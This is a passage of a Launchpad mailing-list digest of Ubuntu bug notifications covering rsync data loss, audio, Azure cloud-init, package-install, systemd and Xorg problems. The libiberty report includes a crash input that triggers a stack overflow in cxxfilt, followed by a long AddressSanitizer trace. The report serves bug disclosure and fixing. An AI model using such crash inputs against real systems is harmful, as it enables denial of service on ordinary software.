  $ cp /tmp/src/foo.txt /tmp/dest
  $ ls /tmp/src/ /tmp/dest/
  /tmp/dest/:
  foo.txt

  /tmp/src/:
  bar.txt  foo.txt

  $ rsync -na --info=remove1 --remove-source-files --existing src/* dest/
  (no output)

  $ rsync -a --info=remove1 --remove-source-files --existing src/* dest/
  sender removed foo.txt

  $ ls /tmp/src/ /tmp/dest/
  /tmp/dest/:
  foo.txt

  /tmp/src/:
  bar.txt

  (*) note when I say it can destroy the only copy of a file, another
  circumstance is needed: that is, rsync does not do a checksum by
  default.  It checks for identical files based on superficial
  parameters like name and date.  So it's possible that two files match
  in the default superficial comparison but differ in the actual
  content.  Losing a unique file in this scenario is perhaps a rare
  corner case, but this bug should be fixed nonetheless.  In the typical
  case of losing files at the source, there is still a significant
  inconvenience of trying to identify what files to copy back.

  Note this bug is similar but differs in a few ways:
  https://bugzilla.samba.org/show_bug.cgi?id=3844

  I've marked this as a security vulnerability because it causes
  unexpected data loss due to --dry-run creating a false expectation.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/rsync/+bug/1925381/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925348] Re: stack-overflow on GNU libiberty/rust-demangle.c:664 demangle_path

[chengxianglin]

** Description changed:

+ stack-overflowon GNU libiberty/rust-demangle.c:664 demangle_path when we
+ run ./cxxfilt ./crashs/poc
+ 
+ ./crash/poc:�@}@�^_RB_RB999IRB�RBRB
+ 
  ==34504==ERROR: AddressSanitizer: stack-overflow on address 0x7ffee6038f48 
(pc 0x006a3331 bp 0x7ffee6039060 sp 0x7ffee6038f20 T0)
- #0 0x6a3330 in demangle_path rust-demangle.c:664
- #1 0x6a3bd1 in demangle_path rust-demangle.c:774
- #2 0x6a3bd1 in demangle_path rust-demangle.c:774
- #3 0x6a3bd1 in demangle_path rust-demangle.c:774
- #4 0x6a3bd1 in demangle_path rust-demangle.c:774
- #5 0x6a3bd1 in demangle_path rust-demangle.c:774
- #6 0x6a3bd1 in demangle_path rust-demangle.c:774
- #7 0x6a3bd1 in demangle_path rust-demangle.c:774
- #8 0x6a3bd1 in demangle_path rust-demangle.c:774
- #9 0x6a3bd1 in demangle_path rust-demangle.c:774
- #10 0x6a3bd1 in demangle_path rust-demangle.c:774
- #11 0x6a3bd1 in demangle_path rust-demangle.c:774
- #12 0x6a3bd1 in demangle_path rust-demangle.c:774
- #13 0x6a3bd1 in demangle_path rust-demangle.c:774
- #14 0x6a3bd1 in demangle_path rust-demangle.c:774
- #15 0x6a3bd1 in demangle_path rust-demangle.c:774
- #16 0x6a3bd1 in demangle_path rust-demangle.c:774
- #17 0x6a3bd1 in demangle_path rust-demangle.c:774
- #18 0x6a3bd1 in demangle_path rust-demangle.c:774
- #19 0x6a3bd1 in demangle_path rust-demangle.c:774
- #20 0x6a3bd1 in demangle_path rust-demangle.c:774
- #21 0x6a3bd1 in demangle_path rust-demangle.c:774
- #22 0x6a3bd1 in demangle_path rust-demangle.c:774
- #23 0x6a3bd1 in demangle_path rust-demangle.c:774
- #24 0x6a3bd1 in demangle_path rust-demangle.c:774
- #25 0x6a3bd1 in demangle_path rust-demangle.c:774
- #26 0x6a3bd1 in demangle_path rust-demangle.c:774
- #27 0x6a3bd1 in demangle_path rust-demangle.c:774
- #28 0x6a3bd1 in demangle_path rust-demangle.c:774
- #29 0x6a3bd1 in demangle_path rust-demangle.c:774
- #30 0x6a3bd1 in demangle_path rust-demangle.c:774
- #31 0x6a3bd1 in demangle_path rust-demangle.c:774
- #32 0x6a3bd1 in demangle_path rust-demangle.c:774
- #33 0x6a3bd1 in demangle_path rust-demangle.c:774
- #34 0x6a3bd1 in demangle_path rust-demangle.c:774
- #35 0x6a3bd1 in demangle_path rust-demangle.c:774
- #36 0x6a3bd1 in demangle_path rust-demangle.c:774
- #37 0x6a3bd1 in demangle_path rust-demangle.c:774
- #38 0x6a3bd1 in demangle_path rust-demangle.c:774
- #39 0x6a3bd1 in demangle_path rust-demangle.c:774
- #40 0x6a3bd1 in demangle_path rust-demangle.c:774
- #41 0x6a3bd1 in demangle_path rust-demangle.c:774
- #42 0x6a3bd1 in demangle_path rust-demangle.c:774
- #43 0x6a3bd1 in demangle_path rust-demangle.c:774
- #44 0x6a3bd1 in demangle_path rust-demangle.c:774
- #45 0x6a3bd1 in demangle_path rust-demangle.c:774
- #46 0x6a3bd1 in demangle_path rust-demangle.c:774
- #47 0x6a3bd1 in demangle_path rust-demangle.c:774
- #48 0x6a3bd1 in demangle_path rust-demangle.c:774
- #49 0x6a3bd1 in demangle_path rust-demangle.c:774
- #50 0x6a3bd1 in demangle_path rust-demangle.c:774
- #51 0x6a3bd1 in demangle_path rust-demangle.c:774
- #52 0x6a3bd1 in demangle_path rust-demangle.c:774
- #53 0x6a3bd1 in demangle_path rust-demangle.c:774
- #54 0x6a3bd1 in demangle_path rust-demangle.c:774
- #55 0x6a3bd1 in demangle_path rust-demangle.c:774
- #56 0x6a3bd1 in demangle_path rust-demangle.c:774
- #57 0x6a3bd1 in demangle_path rust-demangle.c:774
- #58 0x6a3bd1 in demangle_path rust-demangle.c:774
- #59 0x6a3bd1 in demangle_path rust-demangle.c:774
- #60 0x6a3bd1 in demangle_path rust-demangle.c:774
- #61 0x6a3bd1 in demangle_path rust-demangle.c:774
- #62 0x6a3bd1 in demangle_path rust-demangle.c:774
- #63 0x6a3bd1 in demangle_path rust-demangle.c:774
- #64 0x6a3bd1 in demangle_path rust-demangle.c:774
- #65 0x6a3bd1 in demangle_path rust-demangle.c:774
- #66 0x6a3bd1 in demangle_path rust-demangle.c:774
- #67 0x6a3bd1 in demangle_path rust-demangle.c:774
- #68 0x6a3bd1 in demangle_path rust-demangle.c:774
- #69 0x6a3bd1 in demangle_path rust-demangle.c:774
- #70 0x6a3bd1 in demangle_path rust-demangle.c:774
- #71 0x6a3bd1 in demangle_path rust-demangle.c:774
- #72 0x6a3bd1 in demangle_path rust-demangle.c:774
- #73 0x6a3bd1 in demangle_path rust-demangle.c:774
- #74 0x6a3bd1 in demangle_path rust-demangle.c:774
- #75 0x6a3bd1 in demangle_path rust-demangle.c:774
- #76 0x6a3bd1 in demangle_path rust-demangle.c:774
- #77 0x6a3bd1 in demangle_path rust-demangle.c:774
- #78 0x6a3bd1 in demangle_path rust-demangle.c:774
- #79 0x6a3bd1 in demangle_path rust-demangle.c:774
- #80 0x6a3bd1 in demangle_path rust-demangle.c:774
- #81 0x6a3bd1 in demangle_path rust-demangle.c:774
- #82 0x6a3bd1 in demangle_path rust-demangle.c:774
- #83 0x6a3bd1 in demangle_path 

[Touch-packages] [Bug 1807138] Re: [ALC256 - Razer Blade 15 2018] Headphones not automatically detected

[Igor Voldiner]

As a side note: headset mic was brought to life (tested for "headset-
mode" model) on the 0x19 pin (as detected/configured by default)  with
specifically selecting "Not Present" for jack detection (in Advanced
override tab).

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1807138

Title:
  [ALC256 - Razer Blade 15 2018] Headphones not automatically detected

Status in alsa-driver package in Ubuntu:
  Confirmed

Bug description:
  Running the command alsamixer allows me to manually increase the sound levels 
for the headset, and sound plays properly through them. This requires me to 
disable the auto-mute feature.
  I haven't rebooted my system yet to see if this is permanent.
  But the UI doesn't show the heaphones at all and only sends sound through the 
main speakers of the laptop.

  ➜  ~ lspci -nnk | grep -i -A7 audio
  00:1f.3 Audio device [0403]: Intel Corporation Device [8086:a348] (rev 10)
Subsystem: Razer USA Ltd. Device [1a58:2001]
Kernel driver in use: snd_hda_intel
Kernel modules: snd_hda_intel
  00:1f.4 SMBus [0c05]: Intel Corporation Device [8086:a323] (rev 10)
Subsystem: Razer USA Ltd. Device [1a58:2001]
Kernel driver in use: i801_smbus
Kernel modules: i2c_i801

  ➜  ~ cat /proc/asound/card0/codec* | grep Codec 
  Codec: Realtek ALC256
  Codec: Intel Kabylake HDMI

  Using for example pavucontrol allows me to select the headphone, which are 
marked as unplugged, and I can play audio through them as long as I keep the 
application open.
  If I reboot or close pavucontrol, everything is back to the original state 
and only the speakers work.

  Additional Information:

  ➜  ~ lsb_release -rd 
  Description:  Ubuntu 18.04.1 LTS
  Release:  18.04

  What I expect to happen:

  When I plug in my headphones, Ubuntu and the UI should see them and
  automatically redirect all sound through them.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-42.45-generic 4.15.18
  Uname: Linux 4.15.0-42-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D0p:   olivar 8320 F...m pulseaudio
   /dev/snd/controlC0:  olivar 8320 F pulseaudio
  CurrentDesktop: X-Cinnamon
  Date: Thu Dec  6 13:02:14 2018
  InstallationDate: Installed on 2018-11-21 (15 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH successful
  Symptom_Card: Built-in Audio - HDA Intel PCH
  Symptom_PulsePlaybackTest: PulseAudio playback test successful
  Symptom_Type: Only some of outputs are working
  Title: [HDA-Intel - HDA Intel PCH, playback] Playback problem
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/31/2018
  dmi.bios.vendor: Razer
  dmi.bios.version: 01.01
  dmi.board.name: DANA_MB
  dmi.board.vendor: Razer
  dmi.chassis.type: 10
  dmi.chassis.vendor: Razer
  dmi.modalias: 
dmi:bvnRazer:bvr01.01:bd08/31/2018:svnRazer:pnBlade:pvr1.04:rvnRazer:rnDANA_MB:rvr:cvnRazer:ct10:cvr:
  dmi.product.family: 1A582001 Razer Blade
  dmi.product.name: Blade
  dmi.product.version: 1.04
  dmi.sys.vendor: Razer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1807138/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1919177] Re: Azure: issues with accelerated networking on Hirsute

[Gauthier Jolly]

I attach here the full diff of packages between the two serials.

** Attachment added: "Package diff between 20210219 and 20210220 20.04 Azure 
images"
   
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1919177/+attachment/5491010/+files/package-diff.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1919177

Title:
  Azure: issues with accelerated networking on Hirsute

Status in cloud-init:
  Incomplete
Status in cloud-init package in Ubuntu:
  New
Status in linux-azure package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
  [General]

  On Azure, when provisioning a Hirsute VM with Accelerated Networking
  enabled, sometimes part of the cloud-init configuration is not
  applied.

  Especially, in those cases, the public SSH key is not setup properly.

  [how to reproduce]

  Start a VM with AN enabled:

  ```
  az vm create --name "$VM_NAME --resource-group "$GROUP" --location "UK South" 
 --image 
'Canonical:0001-com-ubuntu-server-hirsute-daily:21_04-daily-gen2:latest' --size 
Standard_F8s_v2 --admin-username ubuntu --ssh-key-value "$SSH_KEY" 
--accelerated-networking
  ```

  After a moment, try to SSH: if you succeed, delete and recreate a new
  VM.

  [troubleshooting]

  To be able to connect into the VM, run:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id 
RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"
  ```

  In "/run/cloud-init/instance-data.json", I can see:
  ```
   "publicKeys": [
    {
     "keyData": "",
     "path": "/home/ubuntu/.ssh/authorized_keys"
    }
   ],
  ```

  as expected.

  [workaround]

  As mentioned, Azure allows the user to run command into the VM without
  SSH connection. To do so, one can use the Azure CLI:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id
  RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"

  This example uses "ssh-import-id" but it's also possible to just echo
  a given public key into /home/ubuntu/.ssh/authorized_keys

  NOTE: this will only solves the SSH issue, I do not know if this bug
  affects other things. If so the user would have to apply those things
  manually.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1919177/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925505] [NEW] package libgdk-pixbuf2.0-0:i386 2.40.0+dfsg-5ubuntu0.2 failed to install/upgrade: зацикливание триггеров, отмена работы

[Баринов Максим Михайлович]

Public bug reported:

just do something to solve it

ProblemType: Package
DistroRelease: Ubuntu 20.10
Package: libgdk-pixbuf2.0-0:i386 2.40.0+dfsg-5ubuntu0.2
ProcVersionSignature: Ubuntu 5.8.0-50.56-generic 5.8.18
Uname: Linux 5.8.0-50-generic x86_64
ApportVersion: 2.20.11-0ubuntu50.5
Architecture: amd64
CasperMD5CheckResult: skip
Date: Thu Apr 22 22:55:45 2021
ErrorMessage: зацикливание триггеров, отмена работы
InstallationDate: Installed on 2021-02-18 (63 days ago)
InstallationMedia: Ubuntu 20.04.2.0 LTS "Focal Fossa" - Release amd64 
(20210209.1)
PackageArchitecture: i386
Python3Details: /usr/bin/python3.8, Python 3.8.6, python3-minimal, 
3.8.6-0ubuntu1
PythonDetails: N/A
RelatedPackageVersions:
 dpkg 1.20.5ubuntu2
 apt  2.1.10ubuntu0.3
SourcePackage: gdk-pixbuf
Title: package libgdk-pixbuf2.0-0:i386 2.40.0+dfsg-5ubuntu0.2 failed to 
install/upgrade: зацикливание триггеров, отмена работы
UpgradeStatus: Upgraded to groovy on 2021-04-22 (0 days ago)

** Affects: gdk-pixbuf (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: apport-package groovy i386

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gdk-pixbuf in Ubuntu.
https://bugs.launchpad.net/bugs/1925505

Title:
  package libgdk-pixbuf2.0-0:i386 2.40.0+dfsg-5ubuntu0.2 failed to
  install/upgrade: зацикливание триггеров, отмена работы

Status in gdk-pixbuf package in Ubuntu:
  New

Bug description:
  just do something to solve it

  ProblemType: Package
  DistroRelease: Ubuntu 20.10
  Package: libgdk-pixbuf2.0-0:i386 2.40.0+dfsg-5ubuntu0.2
  ProcVersionSignature: Ubuntu 5.8.0-50.56-generic 5.8.18
  Uname: Linux 5.8.0-50-generic x86_64
  ApportVersion: 2.20.11-0ubuntu50.5
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Thu Apr 22 22:55:45 2021
  ErrorMessage: зацикливание триггеров, отмена работы
  InstallationDate: Installed on 2021-02-18 (63 days ago)
  InstallationMedia: Ubuntu 20.04.2.0 LTS "Focal Fossa" - Release amd64 
(20210209.1)
  PackageArchitecture: i386
  Python3Details: /usr/bin/python3.8, Python 3.8.6, python3-minimal, 
3.8.6-0ubuntu1
  PythonDetails: N/A
  RelatedPackageVersions:
   dpkg 1.20.5ubuntu2
   apt  2.1.10ubuntu0.3
  SourcePackage: gdk-pixbuf
  Title: package libgdk-pixbuf2.0-0:i386 2.40.0+dfsg-5ubuntu0.2 failed to 
install/upgrade: зацикливание триггеров, отмена работы
  UpgradeStatus: Upgraded to groovy on 2021-04-22 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdk-pixbuf/+bug/1925505/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1919177] Re: Azure: issues with accelerated networking on Hirsute

[Gauthier Jolly]

I isolated the issue between those two serial: 20210219 (doesn't have
the issue) and 20210220 (reproduces the issue).

The main difference I can see between those two serial is systemd
version:

20210219 -> 247.1-4ubuntu1
20210220 -> 247.3-1ubuntu2

Cloud-init version is the same (20.4.1-79-g71564dce-0ubuntu1).

I will try to get a better package diff between those two images to
understand if anything else significant changed.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1919177

Title:
  Azure: issues with accelerated networking on Hirsute

Status in cloud-init:
  Incomplete
Status in cloud-init package in Ubuntu:
  New
Status in linux-azure package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
  [General]

  On Azure, when provisioning a Hirsute VM with Accelerated Networking
  enabled, sometimes part of the cloud-init configuration is not
  applied.

  Especially, in those cases, the public SSH key is not setup properly.

  [how to reproduce]

  Start a VM with AN enabled:

  ```
  az vm create --name "$VM_NAME --resource-group "$GROUP" --location "UK South" 
 --image 
'Canonical:0001-com-ubuntu-server-hirsute-daily:21_04-daily-gen2:latest' --size 
Standard_F8s_v2 --admin-username ubuntu --ssh-key-value "$SSH_KEY" 
--accelerated-networking
  ```

  After a moment, try to SSH: if you succeed, delete and recreate a new
  VM.

  [troubleshooting]

  To be able to connect into the VM, run:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id 
RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"
  ```

  In "/run/cloud-init/instance-data.json", I can see:
  ```
   "publicKeys": [
    {
     "keyData": "",
     "path": "/home/ubuntu/.ssh/authorized_keys"
    }
   ],
  ```

  as expected.

  [workaround]

  As mentioned, Azure allows the user to run command into the VM without
  SSH connection. To do so, one can use the Azure CLI:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id
  RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"

  This example uses "ssh-import-id" but it's also possible to just echo
  a given public key into /home/ubuntu/.ssh/authorized_keys

  NOTE: this will only solves the SSH issue, I do not know if this bug
  affects other things. If so the user would have to apply those things
  manually.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1919177/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1919177] Re: Azure: issues with accelerated networking on Hirsute

[Gauthier Jolly]

** Also affects: systemd (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1919177

Title:
  Azure: issues with accelerated networking on Hirsute

Status in cloud-init:
  Incomplete
Status in cloud-init package in Ubuntu:
  New
Status in linux-azure package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
  [General]

  On Azure, when provisioning a Hirsute VM with Accelerated Networking
  enabled, sometimes part of the cloud-init configuration is not
  applied.

  Especially, in those cases, the public SSH key is not setup properly.

  [how to reproduce]

  Start a VM with AN enabled:

  ```
  az vm create --name "$VM_NAME --resource-group "$GROUP" --location "UK South" 
 --image 
'Canonical:0001-com-ubuntu-server-hirsute-daily:21_04-daily-gen2:latest' --size 
Standard_F8s_v2 --admin-username ubuntu --ssh-key-value "$SSH_KEY" 
--accelerated-networking
  ```

  After a moment, try to SSH: if you succeed, delete and recreate a new
  VM.

  [troubleshooting]

  To be able to connect into the VM, run:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id 
RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"
  ```

  In "/run/cloud-init/instance-data.json", I can see:
  ```
   "publicKeys": [
    {
     "keyData": "",
     "path": "/home/ubuntu/.ssh/authorized_keys"
    }
   ],
  ```

  as expected.

  [workaround]

  As mentioned, Azure allows the user to run command into the VM without
  SSH connection. To do so, one can use the Azure CLI:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id
  RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"

  This example uses "ssh-import-id" but it's also possible to just echo
  a given public key into /home/ubuntu/.ssh/authorized_keys

  NOTE: this will only solves the SSH issue, I do not know if this bug
  affects other things. If so the user would have to apply those things
  manually.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1919177/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1807138] Re: [ALC256 - Razer Blade 15 2018] Headphones not automatically detected

[Igor Voldiner]

I found a work-around that allows detection of headphones to work correctly.
by changing model name of the codec to "headset-mode" from "headset-mic" in 
/etc/modprobe.d/alsa-base.conf

However this did not solve the problem with headset mic, which is not
working (tried all pins available from hdajackretask) for any of two of
above specified model names.

Alsa-info output: http://alsa-
project.org/db/?f=5066c1fc285a210c75e5ef61712c35c2cce9efca

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1807138

Title:
  [ALC256 - Razer Blade 15 2018] Headphones not automatically detected

Status in alsa-driver package in Ubuntu:
  Confirmed

Bug description:
  Running the command alsamixer allows me to manually increase the sound levels 
for the headset, and sound plays properly through them. This requires me to 
disable the auto-mute feature.
  I haven't rebooted my system yet to see if this is permanent.
  But the UI doesn't show the heaphones at all and only sends sound through the 
main speakers of the laptop.

  ➜  ~ lspci -nnk | grep -i -A7 audio
  00:1f.3 Audio device [0403]: Intel Corporation Device [8086:a348] (rev 10)
Subsystem: Razer USA Ltd. Device [1a58:2001]
Kernel driver in use: snd_hda_intel
Kernel modules: snd_hda_intel
  00:1f.4 SMBus [0c05]: Intel Corporation Device [8086:a323] (rev 10)
Subsystem: Razer USA Ltd. Device [1a58:2001]
Kernel driver in use: i801_smbus
Kernel modules: i2c_i801

  ➜  ~ cat /proc/asound/card0/codec* | grep Codec 
  Codec: Realtek ALC256
  Codec: Intel Kabylake HDMI

  Using for example pavucontrol allows me to select the headphone, which are 
marked as unplugged, and I can play audio through them as long as I keep the 
application open.
  If I reboot or close pavucontrol, everything is back to the original state 
and only the speakers work.

  Additional Information:

  ➜  ~ lsb_release -rd 
  Description:  Ubuntu 18.04.1 LTS
  Release:  18.04

  What I expect to happen:

  When I plug in my headphones, Ubuntu and the UI should see them and
  automatically redirect all sound through them.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-42.45-generic 4.15.18
  Uname: Linux 4.15.0-42-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D0p:   olivar 8320 F...m pulseaudio
   /dev/snd/controlC0:  olivar 8320 F pulseaudio
  CurrentDesktop: X-Cinnamon
  Date: Thu Dec  6 13:02:14 2018
  InstallationDate: Installed on 2018-11-21 (15 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH successful
  Symptom_Card: Built-in Audio - HDA Intel PCH
  Symptom_PulsePlaybackTest: PulseAudio playback test successful
  Symptom_Type: Only some of outputs are working
  Title: [HDA-Intel - HDA Intel PCH, playback] Playback problem
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/31/2018
  dmi.bios.vendor: Razer
  dmi.bios.version: 01.01
  dmi.board.name: DANA_MB
  dmi.board.vendor: Razer
  dmi.chassis.type: 10
  dmi.chassis.vendor: Razer
  dmi.modalias: 
dmi:bvnRazer:bvr01.01:bd08/31/2018:svnRazer:pnBlade:pvr1.04:rvnRazer:rnDANA_MB:rvr:cvnRazer:ct10:cvr:
  dmi.product.family: 1A582001 Razer Blade
  dmi.product.name: Blade
  dmi.product.version: 1.04
  dmi.sys.vendor: Razer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1807138/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1923618] Re: upgrading systemd on groovy terminates sessions

[Thadeu Lima de Souza Cascardo]

This was the upgrade in question.

Aptitude 0.8.12: log report
Tue, Apr 13 2021 10:34:25 -0300

  IMPORTANT: this log only lists intended actions; actions which fail
  due to dpkg problems may not be completed.

Will install 16 packages, and remove 0 packages.
7168 B of disk space will be used

[HOLD, DEPENDENCIES] grub-common:amd64 2.04-1ubuntu35.4
[HOLD, DEPENDENCIES] grub-efi-amd64-bin:amd64 2.04-1ubuntu35.4
[HOLD, DEPENDENCIES] grub-pc:amd64 2.04-1ubuntu35.4
[HOLD, DEPENDENCIES] grub-pc-bin:amd64 2.04-1ubuntu35.4
[HOLD, DEPENDENCIES] grub2-common:amd64 2.04-1ubuntu35.4
[HOLD, DEPENDENCIES] libseccomp2:amd64 2.4.3-1ubuntu4
[HOLD, DEPENDENCIES] linux-firmware:amd64 1.190.3
[HOLD] grub-efi-amd64-signed:amd64 1.155.4+2.04-1ubuntu35.4
[UPGRADE] alsa-ucm-conf:amd64 1.2.2-1ubuntu5.1 -> 1.2.2-1ubuntu5.2
[UPGRADE] apt:amd64 2.1.10ubuntu0.2 -> 2.1.10ubuntu0.3
[UPGRADE] apt-utils:amd64 2.1.10ubuntu0.2 -> 2.1.10ubuntu0.3
[UPGRADE] libapt-pkg6.0:amd64 2.1.10ubuntu0.2 -> 2.1.10ubuntu0.3
[UPGRADE] libnss-mymachines:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] libnss-systemd:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] libpam-systemd:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] libsystemd-dev:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] libsystemd0:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] libudev-dev:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] libudev1:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] systemd:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] systemd-container:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] systemd-sysv:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] systemd-timesyncd:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3
[UPGRADE] udev:amd64 246.6-1ubuntu1.2 -> 246.6-1ubuntu1.3


-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1923618

Title:
  upgrading systemd on groovy terminates sessions

Status in systemd package in Ubuntu:
  Incomplete
Status in systemd source package in Groovy:
  Incomplete

Bug description:
  Whenever I upgrade systemd on my groovy system, my gnome session is
  terminated.

  This is very annoying, as everything that was running on that session
  is terminated.

  NetworkManager also stops running.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1923618/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1918855] Re: Xorg xserver got signal 6 to abort

[You-Sheng Yang]

Re-attach full dmesg log with this issue reproduced on RKL SDP
(202102-28687) running 5.12-rc8.

** Attachment added: "journalctl.RKL-SDP.5.12.0-8-generic.gz"
   
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1918855/+attachment/5490979/+files/journalctl.RKL-SDP.5.12.0-8-generic.gz

** Attachment removed: "dmesg.RKL-SDP.5.12.0-8-generic"
   
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1918855/+attachment/5490918/+files/dmesg.RKL-SDP.5.12.0-8-generic

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1918855

Title:
  Xorg xserver got signal 6 to abort

Status in Mesa:
  Unknown
Status in OEM Priority Project:
  In Progress
Status in mesa package in Ubuntu:
  New

Bug description:
  I run checkbox job
  com.canonical.certification::memory/memory_stress_ng on focal, and the
  xserver stops unexpectedly with the following stacktrace:

  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 0: /usr/lib/xorg/Xorg 
(OsLookupColor+0x13c) [0x5619f3a4d59c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 1: 
/lib/x86_64-linux-gnu/libpthread.so.0 (funlockfile+0x60) [0x7fae4786741f]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 2: /lib/x86_64-linux-gnu/libc.so.6 
(gsignal+0xcb) [0x7fae476a418b]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 3: /lib/x86_64-linux-gnu/libc.so.6 
